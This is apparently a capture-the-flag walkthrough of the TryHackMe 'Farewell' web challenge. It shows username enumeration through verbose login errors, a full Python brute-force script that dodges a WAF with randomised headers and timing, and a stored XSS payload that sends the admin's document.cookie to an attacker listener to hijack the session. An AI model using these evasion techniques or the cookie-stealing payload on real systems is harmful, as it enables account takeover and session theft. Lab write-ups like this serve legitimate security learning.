# Farewell - THM ### Index page ![Pasted image 20251115181220](https://hackmd.io/_uploads/rJdzYIhxZg.png) ### /admin.php ![Pasted image 20251115174817](https://hackmd.io/_uploads/BydmKI3lbx.png) ### /javascript/ ![Pasted image 20251115180911](https://hackmd.io/_uploads/ry-4tUhx-g.png) ### `http://10.201.6.115/check.js` ```js const loginForm = document.getElementById('loginForm'); const alertBox = document.getElementById('alert'); const hintBox = document.getElementById('hint'); const loginBtn = document.getElementById('loginBtn'); function showAlert(msg) { hintBox.style.display = 'none'; alertBox.style.display = 'block'; alertBox.textContent = msg; } function showHint(hint) { alertBox.style.display = 'none'; hintBox.style.display = 'block'; hintBox.innerHTML = '<strong>Server hint:</strong> ' + (hint ? hint : 'No hint provided'); } loginForm.addEventListener('submit', async () => { alertBox.style.display = 'none'; hintBox.style.display = 'none'; loginBtn.disabled = true; loginBtn.textContent = 'Signing in…'; const form = new URLSearchParams(); form.append('username', document.getElementById('username').value.trim()); form.append('password', document.getElementById('password').value); try { const res = await fetch('/auth.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: form.toString(), credentials: 'same-origin' }); // Server always returns JSON (HTTP 200) for both success and failure const data = await res.json(); if (data && data.success) { window.location = data.redirect || '/dashboard.php'; return; } if (data && data.error === 'auth_failed') { if (data.user && data.user.password_hint) { showHint("Invalid password against the user"); } else { showAlert('Invalid username or password.'); } } else { showAlert('Unexpected response from server.'); console.warn('Server response:', data); } } catch (e) { showAlert('Network error. Try again.'); console.error(e); } finally { loginBtn.disabled = false; loginBtn.textContent = 'Sign in'; } }); ``` --- # Directory Bruteforce (Dirsearch) ``` ~/Desktop/Farewell ➜ dirsearch -u http://10.201.6.115/ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/fronto/Desktop/Farewell/reports/http_10.201.6.115/__25-11-15_06-46-35.txt ``` Interesting endpoints found: - `/admin.php` – **200** - `/dashboard.php` – **302 redirect to /** - `/javascript/` – **200** - `/info.php` – **200** - `/status.php` – **200** - `/auth.php` – accepts POST only (**405**) --- # Findings The application returns **verbose error messages** when incorrect credentials are submitted. ### Valid vs Invalid Users Trying username **adam** (exists): ![Pasted image 20251115181252](https://hackmd.io/_uploads/HkbrY83xZg.png) Trying a **non-existent user**: ![Pasted image 20251115181315](https://hackmd.io/_uploads/HyKSYInxZl.png) The application leaks the existence of users by returning: - “Invalid password against the user” for valid usernames - “Invalid username or password” for invalid ones We now know that **deliver11**, **adam**, and **nora** are valid users. --- # JSON Verbose Leakage Each failed login returns **JSON** containing: - Last password change date - A plaintext password hint - Username This is extremely sensitive information. ### Nora ``` {"error":"auth_failed","user":{"name":"nora","last_password_change":"2025-08-01 13:45:00","password_hint":"lucky number 789"}} ``` ![Pasted image 20251115181816](https://hackmd.io/_uploads/HJfLtU3lbe.png) ### Admin ``` {"error":"auth_failed","user":{"name":"admin","last_password_change":"2025-10-31 19:03:00","password_hint":"the year plus a kind send-off"}} ``` ![Pasted image 20251115181936](https://hackmd.io/_uploads/HJ28K8hgbg.png) ### Adam ``` {"error":"auth_failed","user":{"name":"adam","last_password_change":"2025-10-21 09:12:00","password_hint":"favorite pet + 2"}} ``` ![Pasted image 20251115182002](https://hackmd.io/_uploads/B1SDFLhebg.png) ### deliver11 ``` {"error":"auth_failed","user":{"name":"deliver11","last_password_change":"2025-09-10 11:00:00","password_hint":"Capital of Japan followed by 4 digits"}} ``` ![Pasted image 20251115184844](https://hackmd.io/_uploads/ryCDFU2lZl.png) Since the WAF blocks rapid attempts, traditional brute-force tools like Hydra or Burp Intruder are ineffective. --- # Brute Forcing for deliver11 The hint: **“Capital of Japan followed by 4 digits” → Tokyo####** Due to rate-limiting and WAF behaviour, we use a custom script that: - Randomizes password order (O(k) search: runtime depends on position k) - Adds random URL parameters to evade caching - Inserts random noise fields into POST body - Randomizes header order and User-Agent strings - Detects WAF 403 blocks and exits gracefully ### Python script used ``` bash #!/usr/bin/env python3 import json import random import string import time import requests TARGET_URL = "http://farewell.thm/auth.php" USERNAME = "deliver11" COOKIES = { "PHPSESSID": "sfgjj3pods3o8o097q9ib8tjki" } USER_AGENTS = [ "Mozilla/5.0 ({token}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36", "Mozilla/5.0 ({token}) Gecko/20100101 Firefox/125.0", "Mozilla/5.0 ({token}) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15", ] # ---------- Helpers ---------- def rand_token(length: int = 6, alphabet: str = string.ascii_letters) -> str: return "".join(random.choice(alphabet) for _ in range(length)) def build_tokyo_passwords(start: int = 0, end: int = 9999) -> list[str]: """ Build and shuffle passwords of the form Tokyo#### from the hint: "Capital of Japan followed by 4 digits". """ candidates = [f"Tokyo{n:04d}" for n in range(start, end + 1)] random.shuffle(candidates) return candidates def build_target_url() -> str: """ Add random query params to break caching / simple signature rules. Example: /auth.php?v=8342&r=AbCx """ v = random.randint(1000, 9999) r = rand_token(4) return f"{TARGET_URL}?v={v}&r={r}" def build_body(password: str) -> dict: """ POST body with random noise fields: payload never identical twice. """ return { "username": USERNAME, "password": password, "z": rand_token(4), # noise "pad": rand_token(3), # extra noise } def build_headers() -> dict: """ Randomize User-Agent + Referer and shuffle header order. """ ua = random.choice(USER_AGENTS).format(token=rand_token(8)) referer_noise = rand_token(4) header_pairs = [ ("User-Agent", ua), ("Accept", "*/*"), ("Referer", f"http://farewell.thm/?t={referer_noise}"), ("Content-Type", "application/x-www-form-urlencoded"), ("Origin", "http://farewell.thm"), ("Connection", "keep-alive"), ] random.shuffle(header_pairs) # random order on the wire return {k: v for k, v in header_pairs} def looks_like_success(resp: requests.Response) -> bool: """ Known failure JSON: {"error":"auth_failed","user":{...}} Treat anything else as potential success. """ try: data = resp.json() if not isinstance(data, dict): return False err = data.get("error") if err is None: return True if err != "auth_failed": return True return False except (ValueError, json.JSONDecodeError): return "auth_failed" not in resp.text # ---------- Main brute logic ---------- def spray_tokyo( start: int = 0, end: int = 9999, base_delay: float = 1.0, max_consecutive_403: int = 3, ) -> None: session = requests.Session() passwords = build_tokyo_passwords(start, end) print(f"[*] Target: {TARGET_URL}") print(f"[*] User: {USERNAME}") print(f"[*] Pattern: Tokyo#### ({len(passwords)} candidates, shuffled)\n") consecutive_403 = 0 for idx, password in enumerate(passwords, start=1): url = build_target_url() data = build_body(password) headers = build_headers() try: resp = session.post( url, headers=headers, data=data, cookies=COOKIES, timeout=10, ) except requests.RequestException as e: print(f"\n[!] Network error on attempt {idx} ({password!r}): {e}") time.sleep(base_delay + random.uniform(0.3, 0.7)) continue status = resp.status_code if status == 403: consecutive_403 += 1 print( f"\n[!] HTTP 403 (WAF / rate limit). " f"Consecutive: {consecutive_403}/{max_consecutive_403}" ) if consecutive_403 >= max_consecutive_403: print("[!] WAF block appears active. Stopping to avoid lockout.") return time.sleep(base_delay * 2) continue else: consecutive_403 = 0 # Minimal progress output (comment out if too noisy) print(f"[*] Attempt {idx:5d} :: {password}") if looks_like_success(resp): print(f"\n[+] SUCCESS! {USERNAME}:{password}") return # Jittered delay so we don't look like a perfect metronome time.sleep(base_delay + random.uniform(0.4, 1.2)) print("\n[-] Finished range; no valid Tokyo#### password discovered.") if __name__ == "__main__": # You can narrow the range if you want (e.g. only 0900–0999): # spray_tokyo(start=900, end=999) spray_tokyo() ``` Eventually this script discovers the correct password: Logging in as a normal user reveals the answer to: **“What is the flag value after logging in as a normal user?”** ![Pasted image 20251120192257](https://hackmd.io/_uploads/By-tYL2lZe.png) --- # Admin Takeover via Stored XSS Submitting a test message shows: - Status: **Pending** - Then **Approved** This confirms the message is rendered in an **admin-only moderation interface**. Therefore, **stored XSS** can execute inside the admin’s session. We tested several payloads until finding one that: - Fits under the 100-character limit - Avoids WAF signatures - Executes in the admin’s browser - Exfiltrates `document.cookie` ### Final working payload ``` <body onload="d=document;i=new Image();i.src='//10.4.122.220:1337/?c='+d['cookie']"> ``` This avoids WAF detection by: - Using `d['cookie']` instead of `document.cookie` - Using protocol-relative URL `//10.x.x.x` - Avoiding the signature `new Image().src` by splitting into two statements When the admin opens the pending message, the browser sends their cookie to our listener. ### Listener output ``` sudo python3 -m http.server 1337 Serving HTTP on 0.0.0.0 port 1337 ... 10.201.75.180 - - "GET /?c=PHPSESSID=cp73kctk9i5jure75jgho7b9l1 HTTP/1.1" 200 - ``` ![Pasted image 20251120195027](https://hackmd.io/_uploads/HJcFF8nxZx.png) We import that cookie into our browser session and revisit `/admin.php`. This answers the final question: ### “What is the flag value after logging in as admin?” ![Pasted image 20251120195416](https://hackmd.io/_uploads/Sk75tInebl.png) ---